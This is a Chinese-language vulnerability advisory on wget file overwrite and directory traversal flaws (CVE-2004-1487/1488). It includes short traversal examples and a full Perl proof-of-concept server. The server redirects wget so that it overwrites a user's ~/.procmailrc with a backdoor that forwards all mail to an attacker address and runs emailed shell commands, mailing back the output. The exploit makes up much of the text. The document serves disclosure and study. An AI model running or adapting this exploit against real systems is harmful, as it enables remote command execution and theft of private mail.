安全研究
安全漏洞
wget任意文件覆盖追加和建立漏洞
发布日期：2004-12-09
更新日期：2004-12-13
受影响系统：
GNU wget 1.9.1描述：
GNU wget 1.9
GNU wget 1.8.2
GNU wget 1.8.1
GNU wget 1.8
CVE(CAN) ID: CVE-2004-1487,CVE-2004-1488
wget是一款多系统平台下的文件下载工具。
wget存在多个安全问题，远程攻击者可以利用这个漏洞覆盖/建立等系统文件。
问题一是没有判断文件是否可写，在当前目录中不判断文件是否可写。恶意HTTP响应或恶意HTML文件可重定向wget覆盖系统文件：
$ cd /home/user
$ wget http://localhost/wgettrap.bashrc
-> .bashrc
问题二是不正确过滤重定向数据，wget的对HTTP流数据缺少充分过滤，可能导致覆盖系统文件：
# cd /root [1]
# wget -x http://localhost/wgettrap.redirect-1.9
-> ../lib/libc-2.2.5.so [2]
$ cd /foo/bar
$ wget -r http://localhost/wgettrap.redirect-1.8
$ -> ../../../../../../../../../home/jan/.bashrc [1]
-> ../../../../../../../../../var/www/jan/.htaccess
问题三是wget可打印控制字符到终端，恶意HTTP应答可以覆盖终端部分字符而使用户不注意到错误信息。
问题四是wget在处理%00和%-转义控制字符时存在问题，可导致覆盖部分文件：
$ cd /tmp
$ ln -s index.html /path/to/foo
$ wget -x http://localhost/
-> /path/to/foo
<*来源：Jan Minar （jjminar@foo.fastmail.bar.fm）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110269474112384&w=2
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/perl -W
# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
#
# Copyright 2004 Jan Min谩艡 (jjminar fastmail fm)
# License: Public Domain
#
# When wget connects to us, we send it a HTTP redirect constructed so that wget
# wget will connect the second time, it will be attempting to override
# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
# 8-)).
use POSIX qw(strftime);
# This is our scheme/host/port
$server = "http://localhost:31340";
# Use this + DNS poisoning with wget 1.9 & CVS
#$server = "http://..";
# Wanna know who got infected?
#$log = "/dev/pts/1";
# The filename we will try to overwrite on the target system
$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";
############### Payload #########################################
$email = 'your@mailbox';
$password = 'Pmrpuf ner cevzvgvirf';
$payload = <<EOP;
:0c
| mail -s 'Wgettrap mail copy' $email
:0
* ^X-Wgettrap-Command: shell
* ^X-Wgettrap-Password: $password
| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
EOP
chomp $payload;
############### Payload #########################################
# A simple directory traversal, for greater effect
$trick = "/.." . "%2f.." x 40;
open LOG, ">$log" if $log;
while(<STDIN>){
print LOG $_ if $log;
if (/\Q$trick$filename\E/) {
#if (/%2f/) {
# We see the filename, so this is the second time
# they're here. Time to feed the sploit.
$second++;
} elsif (/^Range: bytes=\(33\)-/) {
# Appending goes like this:
# (1) Tell'em what you're gonna tell'em
# (2) Then tell'em just a half
# (3) Close it
# (4) Wait
# (5) They're comin' back, with wget -c
# (6) Tell'em the sploit
# (7) Close again
# (8) Wtf? They're comin' back with wget -c again
# (9) Tell'em the rest...
# (10) ... enjoying the backdoor at the same time
print LOG "File if $1 bytes long\n" if $log;
} elsif (/^\r?$/) {
# The HTTP headers are over. Let's do it!
$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
if (!$second) {
# Print the payload
print <<EOT;
HTTP/1.1 301 Moved Permanently\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Location: $server$trick$filename\r
Content-Length: 43\r
Connection: close\r
Content-Type: text/html\r
\r
<html><head><title></title></head></html>\r
EOT
} else {
# Print the redirection
print <<EOT;
HTTP/1.1 200 OK\r
Date: $date\r
Server: wgettrap 1.1\r
Accept-Ranges: bytes\r
Content-Length: 25\r
Connection: close\r
Content-Type: text/plain\r
\r
$payload
EOT
}
exit 0;
}
}
建议：
厂商补丁：
GNU
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.gnu.org/software/wget/wget.html
浏览次数：3049
严重程度：0（网友投票）
绿盟科技给您安全的保障